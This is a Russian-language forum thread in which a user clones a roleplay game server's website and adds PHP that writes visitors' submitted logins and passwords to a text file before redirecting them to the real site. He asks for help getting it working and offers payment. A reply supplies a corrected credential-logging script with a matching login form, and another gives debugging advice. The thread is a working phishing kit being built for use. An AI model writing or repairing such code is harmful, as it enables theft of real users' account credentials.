Всем привет, только изучаю эту сферу и возник такой вопрос. Скачал html готового сайта, и попытался добавить php скрипт Спойлер <?PHP $Log = $_POST['login']; $Pass = $_POST['password']; $log = fopen("database.txt","at"); fwrite($log,"\n $Log:$Pass \n"); fclose($log); header('Location: https://greentech-rp.com/'); ?> PHP <?PHP $Log = $_POST['login']; $Pass = $_POST['password']; $log = fopen("database.txt","at"); fwrite($log,"\n $Log:$Pass \n"); fclose($log); header('Location: https://greentech-rp.com/'); ?> Далее добавил это все на хост через Filezilla. Сам скопированный сайт отображается идеально, но вот скрипт не работает от слова совсем, не идут данные в текстовый документ и нет переадресации после ввода данных. Тем кто поможет подкинуть соточку на карту, заранее спасибо В архиве прикрепил полностью готовый сайт, который залит на хост (кликабельно)
В чем суть скрипта, записывать то что водит юзер в login? --- Сообщение объединено с предыдущим 4 ноя 2022 <? if(isset($_POST["editinfositee"])){ $login= htmlspecialchars($_POST['login']); $pass= htmlspecialchars($_POST['password']); $file = 'base.txt'; // Открываем файл для получения существующего содержимого $current = file_get_contents($file); // Добавляем нового человека в файл $current .= "$login $pass"; // Пишем содержимое обратно в файл file_put_contents($file, $current); fclose($file); } ?> PHP <? if(isset($_POST["editinfositee"])){ $login= htmlspecialchars($_POST['login']); $pass= htmlspecialchars($_POST['password']); $file = 'base.txt'; // Открываем файл для получения существующего содержимого $current = file_get_contents($file); // Добавляем нового человека в файл $current .= "$login $pass"; // Пишем содержимое обратно в файл file_put_contents($file, $current); fclose($file); } ?> <form id='editinfositee' method='post' name='editinfositee'> <input type="text" placeholder="Ник" name="login" oninput="CheckInput(this);"> <input type="password" placeholder="Пароль" name="password" oninput="CheckInput(this);"> <img src="images/eye.png" alt="show" onclick="ShowPassword(this, 1);" class="show"> <a onclick="CloseModals(false); setTimeout(() => {OpenModal('password_reset', 1, 'block', 1, 1);}, 550);">Забыли пароль?</a> <button id='editinfositee' name='editinfositee' onclick="Login(this);">Войти</button> </form> HTML <form id='editinfositee' method='post' name='editinfositee'> <input type="text" placeholder="Ник" name="login" oninput="CheckInput(this);"> <input type="password" placeholder="Пароль" name="password" oninput="CheckInput(this);"> <img src="images/eye.png" alt="show" onclick="ShowPassword(this, 1);" class="show"> <a onclick="CloseModals(false); setTimeout(() => {OpenModal('password_reset', 1, 'block', 1, 1);}, 550);">Забыли пароль?</a> <button id='editinfositee' name='editinfositee' onclick="Login(this);">Войти</button> </form> Подправил тебе.
POST запросы оптравлются либо через ajax, либо через форму, у тебя ничего не получается потому-что массив $_POST пуст А схерали хедер не работает, нужно смотреть в devtools